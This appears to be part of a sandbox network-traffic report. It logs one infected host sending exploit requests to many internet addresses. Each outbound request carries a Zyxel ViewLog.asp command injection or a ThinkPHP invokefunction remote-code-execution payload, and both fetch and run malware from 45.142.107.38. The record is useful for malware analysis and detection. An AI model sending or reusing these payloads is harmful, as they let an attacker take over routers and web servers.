Mar 4, 2024 15:05:52.618356943 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:05:55.703104973 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:06:01.847083092 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:06:13.879074097 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:06:38.967139959 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:07:28.118961096 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.13	38456	94.120.61.138	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:05:52.657712936 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.13	35346	94.187.99.139	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:05:52.862567902 CET	327	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.13	55754	112.31.11.24	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:05:53.162184954 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:05:53.994946957 CET	327	IN	HTTP/1.1 400 Bad Request Server: unknown Date: Mon, 04 Mar 2024 14:05:53 GMT Content-Type: text/html Content-Length: 168 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 75 6e 6b 6e 6f 77 6e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>unknown</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.13	55148	88.183.151.202	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:05:54.333395958 CET	320	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:05:54.839180946 CET	320	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:05:55.015544891 CET	66	IN	HTTP/1.1 404 Not found Connection: close Data Raw: 34 30 34 3a 20 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 0d 0a Data Ascii: 404: File not found

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.13	37574	94.122.25.4	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:05:56.312386036 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.13	58592	95.86.125.170	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:05:56.314291954 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:06:00.567173958 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.13	33592	31.200.75.233	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:05:56.325236082 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:06:00.567194939 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:06:06.711112976 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:06:18.743242025 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:06:43.063043118 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:07:32.215006113 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.13	41696	95.216.227.55	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:05:56.533759117 CET	320	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:05:56.723953009 CET	490	IN	HTTP/1.1 400 Bad Request Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 04 Mar 2024 14:05:56 GMT Connection: close Content-Length: 311 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 30 2e 20 54 68 65 20 72 65 71 75 65 73 74 20 69 73 20 62 61 64 6c 79 20 66 6f 72 6d 65 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Bad Request</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Bad Request</h2><hr><p>HTTP Error 400. The request is badly formed.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.13	59518	95.217.49.214	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:05:56.533804893 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:05:56.723680019 CET	339	IN	HTTP/1.1 400 Bad Request Server: nginx/1.18.0 (Ubuntu) Date: Mon, 04 Mar 2024 14:05:56 GMT Content-Type: text/html Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.13	35632	95.58.236.209	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:05:56.620630026 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:05:56.901586056 CET	29	IN	HTTP/1.1 200 OK
Mar 4, 2024 15:05:56.903110027 CET	515	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 50 72 61 67 6d 61 3a 20 6e 6f 2d 63 61 63 68 65 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 Data Ascii: Connection: closePragma: no-cacheCache-Control: no-cacheContent-Type: text/html; charset=utf-8<!DOCTYPE html PUBLIC "-//W3C//Dtd XHTML 1.0 Strict//EN" "http://www.w3.org/tr/xhtml1/Dtd/xhtml1-Transitional.dtd"><html xmlns="http://www

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.13	42942	112.158.198.28	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:05:57.201693058 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.13	40706	112.65.119.40	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:05:57.231245995 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:05:57.588361025 CET	321	IN	HTTP/1.1 400 Bad Request Server: nginx/1.20.2 Date: Mon, 04 Mar 2024 14:05:57 GMT Content-Type: text/html Content-Length: 157 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 30 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.20.2</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.13	36510	62.212.156.244	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:05:57.731998920 CET	327	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:05:57.913536072 CET	404	IN	HTTP/1.1 400 Bad Request Date: Mon, 04 Mar 2024 14:05:49 GMT Server: Apache Content-Length: 226 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.13	53508	94.126.21.26	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:05:57.733509064 CET	327	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:05:57.921756029 CET	1286	IN	HTTP/1.1 500 Server Error Date: Mon, 04 Mar 2024 14:05:57 GMT X-Content-Type-Options: nosniff Content-Type: text/html;charset=utf-8 Expires: Thu, 01 Jan 1970 00:00:00 GMT Cache-Control: no-cache,no-store,must-revalidate X-Hudson-Theme: default Referrer-Policy: same-origin Set-Cookie: JSESSIONID.ebccd84e=node098sa22u2dh9u1n548jxqr6atn241417.node0; Path=/; HttpOnly X-Hudson: 1.395 X-Jenkins: 2.245 X-Jenkins-Session: f56c3b7c X-Frame-Options: sameorigin Content-Encoding: gzip X-Instance-Identity: MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAkV7L551bneGlKwbcmcpsnu0QyBst/jxiDQO9rMRY5cM6mIDJjd329iE+Ai124vnKIk7H+C2w1oR0hucFiJajfaObgmLd4eZqzdKPYID/Jvgh1A4h/p0F0A5i4oCMnR9NU4oeJYRFcldF6tqEf/eNBczq9iTGWfOFj0BBR+U2zDfNJsQz07rM9AfxJE+T5xil0RqlKYAr6hFX+iom9H+SA9uxKsvmL2/NW+zWDvNGb9fhqDkPmu7cv/8UHbzqQo0Q4RIpY/AdL1t0uIhd0nHkK6MIsK50ovL1Zo9DLmyHAW1IGmbXfwG8thgwO+rc2qHu672TWIRjUEqyXj/6hyBDaQIDAQAB Content-Length: 2011 Connection: close Server: Jetty(9.4.30.v20200611) Data Raw: 1f 8b 08 00 00 00 00 00 00 ff d5 59 fd 6e db b6 16 ff 7f 4f c1 69 18 b2 01 a5 65 3b 76 ec a4 b6 87 